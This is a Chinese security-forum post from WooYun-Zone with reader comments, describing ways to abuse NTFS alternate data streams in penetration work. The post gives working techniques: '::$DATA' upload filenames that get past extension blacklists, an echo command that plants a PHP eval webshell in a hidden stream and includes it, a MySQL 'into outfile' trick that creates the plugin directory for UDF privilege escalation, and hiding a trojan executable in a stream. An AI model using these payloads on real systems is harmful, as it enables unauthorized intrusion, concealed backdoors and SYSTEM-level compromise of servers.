NTFS中的ADS的一些问题[欢迎一起讨论,求思路求方

  • A+
所属分类:WooYun-Zone

有关ADS的简单说明请看http://www.xfocus.net/articles/200212/466.html

可以看到ADS在很久以前就被一些安全人员所关注,并且也提出了一些经典的利用,比如隐藏文件,隐藏webshell(http://blog.csdn.net/lake2/article/details/269659),随着这次爆出来的IIS的权限绕过,我们再次测试了一下ADS在渗透中的利用方法,并发现了一些比较有意思的现象。

1 经典的IIS 目录访问权限绕过:

详见:http://www.exploit-db.com/exploits/19033/

注:这里的权限是NTFS目录属性的权限,并非说是后台直接绕过。别误会。

2 Bypass 黑名单验证

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:

上传的文件名  服务器表面现象    生成的文件内容

Test.php:a.jpg     生成Test.php  空

Test.php::$DATA  生成test.php  <?php phpinfo();?>

Test.php::$INDEX_ALLOCATION  生成test.php文件夹  

Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?>

  PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。

  根据第二个现象,我们可以bypass一些黑名单验证。

  后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)

3 在隐藏webshell中的利用:

方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

4 UDF提权中的利用

UDF提权tips:如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。而又由于mysql是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql 5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。

还有一些情况,比如:你获取webshell了,但是webshell权限被限制的很死,根本没办法新建lib\plugin目录,或者你根本就没有webshell,只有一个Mysql的弱口令(http://blog.sina.com.cn/s/blog_6ca7b58101013kt4.html)。在以前估计就是只有放弃了,但是利用ADS我们则可以bypass掉这个限制。

demo :

select ‘xxx’ into outfile ‘D:\\mysql\\lib::$INDEX_ALLOCATION’;

会在mysql目录下生成一个lib目录

5 利用ADS隐藏木马

隐藏好办,直接在cmd里面执行命令: type muma.ext test.txt:muma.exe

这样就把木马写进test.txt的数据流里了。但是想运行的话还得借助其他工具,winrar就是一个,具体方法百度百科里都有,但是百科里的别信,成功不了,需要用type命令才能将二进制可执行文件写进去的。

Winrar的自解压木马我还是觉得不靠谱,毕竟后缀是exe,如果目标连这个都确定不了,那还不如直接发muma.exe。所以这个利用我也没怎么研究了。

注:数据流中如果是可执行文件,用start命令调用时,需要在win xp 和2003环境下,win7下失败。

相关信息下载:NTFS-ADS

                                                                                                  –By :pylove & Rstar

  1. 1#

    cnrstar (Be My Personal Best!) | 2012-09-17 21:11

    讨论了一下,出问题的地方一般会出现在第三方应用上,比如apache、mysql这种,他们没有针对NTFS中的交换数据流做过多考虑,所以会出现一些比较有意思的现象,
    另外据某位大牛说,ADS还可以用在webshell绕过权限写东西哦~~

  2. 2#

    upload (Van Helsing) | 2012-09-17 21:16

    不错–!

  3. 3#

    xsser | 2012-09-17 21:19

    某些应用会load一些目录下的第三方dll,默认目录不存在,如果可以建立就可以直接提了

  4. 4#

    lossite | 2012-09-17 21:54

    这种利用方法似乎一直被忽视,非得出具体利用方法才被人注意

  5. 5#

    Mujj (为何我的眼中饱含泪水?因为我装逼装的深沉) | 2012-09-17 23:10

    昨天大家YY的很爽

  6. 6#

    tmp | 2012-09-17 23:21

    goood!

  7. 7#

    一刀终情 ((注意看时间,没乱哦!) ‫(1314520)) | 2012-09-18 00:08

    有意思~

  8. 8#

    冰锋刺客 (请在监护人陪同下,与本人交谈) | 2012-09-18 01:37

    牛逼啊  , 刚才测试了一下

  9. 9#

    我了个去 | 2012-09-20 09:40

    好文

  10. 10#

    Coner ([马甲?]) | 2012-10-10 13:17

    http://hi.baidu.com/pysolve/item/3e94b17653e7b42a6e29f687

  11. 11#

    Chu (学习ing。) | 2014-11-06 13:13

    赞一个

  12. 12#

    Mujj (为何我的眼中饱含泪水?因为我装逼装的深沉) | 2014-11-06 22:42

    @Chu 挖坟啊。

  13. 13#

    Chu (学习ing。) | 2014-11-06 23:06

    @Mujj 屌丝才了解到,学习了..

  14. 14#

    if、so | 2014-11-06 23:29

    @Mujj 给个绿标ssl证书用用,老板

  15. 15#

    Mujj (为何我的眼中饱含泪水?因为我装逼装的深沉) | 2014-11-07 00:31

    @if、so 好啊,你联系我QQ 4600897

  16. 16#

    _Evil (科普是一种公益行为) | 2014-11-08 02:44

    过了这么久我还是赞一个!

  17. 17#

    laoyao (hello world) | 2015-03-07 03:28

    看君一个贴,胜读十年书………..

  18. 18#

    刘海哥 (‮moc.ghuil.www) | 2015-04-01 18:23

    看君一个贴,胜读十年书………..

  19. 19#

    _Evil (科普是一种公益行为) | 2015-04-03 01:31

    tuck 66666 tips 不知道第几次看你帖子了。。。

  20. 20#

    cnrstar (Be My Personal Best!) | 2015-04-06 21:22

    @_Evil 纳尼?

  21. 21#

    _Evil (科普是一种公益行为) | 2015-04-09 15:04

    @cnrstar 帅哥 PM留个联系方式交流下洛